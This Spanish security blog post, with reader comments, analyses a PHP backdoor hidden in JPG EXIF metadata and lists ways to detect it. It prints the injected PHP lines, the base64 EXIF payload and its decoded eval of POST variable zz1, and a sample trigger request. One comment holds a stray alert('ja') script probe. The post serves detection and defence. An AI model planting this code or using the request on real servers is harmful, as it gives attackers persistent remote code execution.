Malware oculto en cabeceras JPG EXIF

Hace ya algunas semanas que estamos observando que determinados sitios web han sido comprometidos y los atacantes han dejado una puerta trasera para seguir ejecutando código en el servidor. Sobre el caso que vamos a explicar ya existen varios artículos donde destacamos el de securi.net el de spiderlabs los cuales ya estaban hablando de este asunto este mes de Julio.

Resumiendo la técnica, los atacantes inyectan código en ficheros php para leer una imagen mediante la función exif_read_data() y ejecutar código de dentro de la imagen mediante un truco que permite la función preg_replace(). Este código que se ejecuta inyectado en la imagen, ofrece la posibilidad de ejecutar código php que venga en una petición POST en una variable de nombre zz1 cuando se invoque el php afectado.

Para que quede más claro vamos a ver la técnica con un ejemplo sencillo. Lo primero que hacemos es crear un fichero de nombre index.php que vamos a colocar en nuestro servidor web junto a la imagen.

print ("POC\n"); 

$exif = exif_read_data('backdoor.jpg'); 
preg_replace($exif['Make'],$exif['Model'],''); 

print ("POC END\n"); 

Las líneas en rojo serían las que inyectaría el atacante en cualquier fichero php. Y la imagen backdoor.jpg sería la subida por el atacante. Como muy bien explican en los artículos si analizamos la imagen, veremos que en la cabecera tendremos algo como:

/.*/eeval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

Donde el código que se ejecutará realmente después de aplicar la función base64_decode() será:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

Como ya hemos dicho antes en el resumen, se ejecutará lo que llegue en la variable "zz1” en una petición POST. Continuando con nuestro ejemplo, la petición que lanzaría el atacante para aprovechar el código inyectado y la imagen con el backdoor, sería algo como:

POST /index.php HTTP/1.1 
Host: victima.es
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 34 

zz1=phpinfo();

Este ejemplo sencillo, hará que se ejecute la función “phpinfo();” en el servidor y nos devuelva la información. Con esto queda demostrado que podemos ejecutar código php en el servidor.

Una vez visto cómo funciona debemos plantearnos diferentes opciones para detectar esta amenaza o similares. Para este caso concreto podrían valernos:

1. Las funciones que se utilizan en la imagen son “base64_decode” y “eval”, así que una posible vía de detección sería detectar estas dos funciones en ficheros de tipo imagen. Esto puede detectarse tanto en el tráfico de red como de manera local en el servidor buscando estas dos funciones en ficheros de tipo imagen.
2. Detectar hacia nuestros servidores web peticiones POST a un fichero php con la variable zz1 fijada. Esto indicará que nuestro servidor web podría estar comprometido.
3. Y por último revisar el código php de nuestras aplicaciones en busca de las funciones exif_read_data() y preg_replace().

Vistas diferentes aproximaciones para detectar esta amenaza, comentaros que nosotros hemos detectado usuarios que durante una navegación normal, han descargado imágenes que contenían el backdoor. Este hecho por si solo no compromete al usuario, aunque debe alertarnos, ya que si contiene este backdoor podría tener también algún Exploit Pack que puede intentar atacar a nuestros usuarios. Un ejemplo de la detección que hemos visto ha sido:

Al detectar esto, se ha procedido a notificarlo a los sitios web para que puedan desinfectar sus servidores de esta amenaza.

Como siempre espero que os sea de utilidad esta entrada.

Comments

  1. Muy buena la info Josemi ;)

    Cuando lo estaba leyendo, no me acababa de cuadrar que la función “preg_replace($exif[‘Make’],$exif[‘Model’],”);” fuese capaz de ejecutar el código, ya que lo que hace es buscar y reemplazar expresiones regulares en una cadena. Así que buscando un poco he encontrado el motivo, el cual considero bastante interesante para su entendimiento y ejecución :P

    Cuando a esta función le pasamos la cadena de reemplazo “/e”, se le está diciendo que se debe interpretar el contenido como si fuese código PHP. Por lo tanto, el campo “Make” de la cabecera PHP deberá contener “/e” para que así el contenido del campo “Model” (segundo parámetro) pueda ser ejecutado (función eval() en este caso).

    Como opinión personal, creo que deberías haber comentado eso en la explicación, ya que ayuda mucho su comprensión al no ser una funcionalidad trivial de la función. Pero por todo lo demás, me ha gustado mucho :D

    Saludos
    fikih888

    PD: A partir de ahora, hay que estar atentos al encontrar un “preg_replace” en cualquier código PHP jejeje

  2. Hola Rafa,

    Efectivamente esa parte no está puesta y es importante para realmente entender como se materializa el ataque. Sí que está puesta en las dos referencias que he puesto, pero no lo he explicado y aclarado aquí.

    Muchas gracias por añadirlo en tu comentario para que se entienda mejor el post :-)

    Un saludo.

  3. alert(“ja”);

  4. Muy interesante la información. Estupendo trabajo y explicado de la forma más fácil posible.

    Saludos

  5. El tema es que la información EXIF es sólo eso: información, datos.

    En programación siempre hay que tener claro que los datos no se ejecutan.

    Si puedo contaminar o inyectar código en un servidor web ¿para qué voy a utilizar semejante método?, es un incordio y fácilmente detectable. Y lo digo desde la perspectiva de un programador PHP, que básicamente es lo que soy.

    Es una muestra más de que los datos provenientes desde el exterior de una aplicación JAMÁS DEBEN SER EJECUTADOS (evaluados en la sintaxis de php).

    Me parece absurdo hablar de agujero de seguridad.

    Un saludo.

  6. Hola Fernando,

    > “Si puedo contaminar o inyectar código en un servidor web ¿para qué voy a utilizar semejante método?, es un incordio y fácilmente detectable. Y lo digo desde la perspectiva de un programador PHP, que básicamente es lo que soy.”

    A esta pregunta quizá te deberían contestar los atacantes que están realizando las inyecciones. Desde mi punto de vista, el objetivo que persiguen es persistencia en el sistema y que el backdoor esté en el sistema infectado el máximo tiempo posible, y la técnica es simple y efectiva. Respecto a lo que comentas de que es fácilmente detectable es bastante discutible, ya que a toro pasado, todo es más fácil.

    > “Me parece absurdo hablar de agujero de seguridad.”

    Por último, en ningún momento se habla de agujero de seguridad, de lo que se habla en este artículo es de una técnica con la que los atacantes han dejado una puerta trasera en los equipos infectados. De lo que se habla también es que estas funciones debemos tenerlas controladas para detectar posibles intrusiones en nuestros sistemas. Estas funciones no son
    vulnerables ni mucho menos, pero ofrecen una funcionalidad que como se ha demostrado pueden ser utilizadas por atacantes con fines maliciosos.

    Un saludo.

  7. Hola JoseMi,

    Yo NUNCA utilizo expresiones de evaluación, por tanto una auditoría de seguridad en mis sistemas que busque código de evaluación detectaría rápidamente dichas inyecciones.

    Aclarado el tema del agujero de seguridad, serían las prisas ;D

    Saludos

  8. Hola Fernando,

    Viendo tu comentario quería decirte que en la web no se está evaluando nada, el “eval” está inyectado en los metadatos de la imagen y el programador web no evalúa nada, lo hace el atacante cuando se modifica el código de la web (con dos líneas que pasan inadvertidas si no se lee el código de la web expresamente, ya que el funcionamiento de la misma continua inalterado a ojos de los demás).

    Saludos
    fikih888

Trackbacks

  1. […] Hace ya algunas semanas que estamos observando que determinados sitios web han sido comprometidos y los atacantes han dejado una puerta trasera para seguir ejecutando código en el servidor. Sobre e…  […]

  2. Malware oculto en cabeceras JPG EXIF…

    Hace ya algunas semanas que estamos observando que determinados sitios web han sido comprometidos y los atacantes han dejado una puerta trasera para seguir ejecutando código en el servidor. Sobre el caso que vamos a explicar ya existen varios artículos…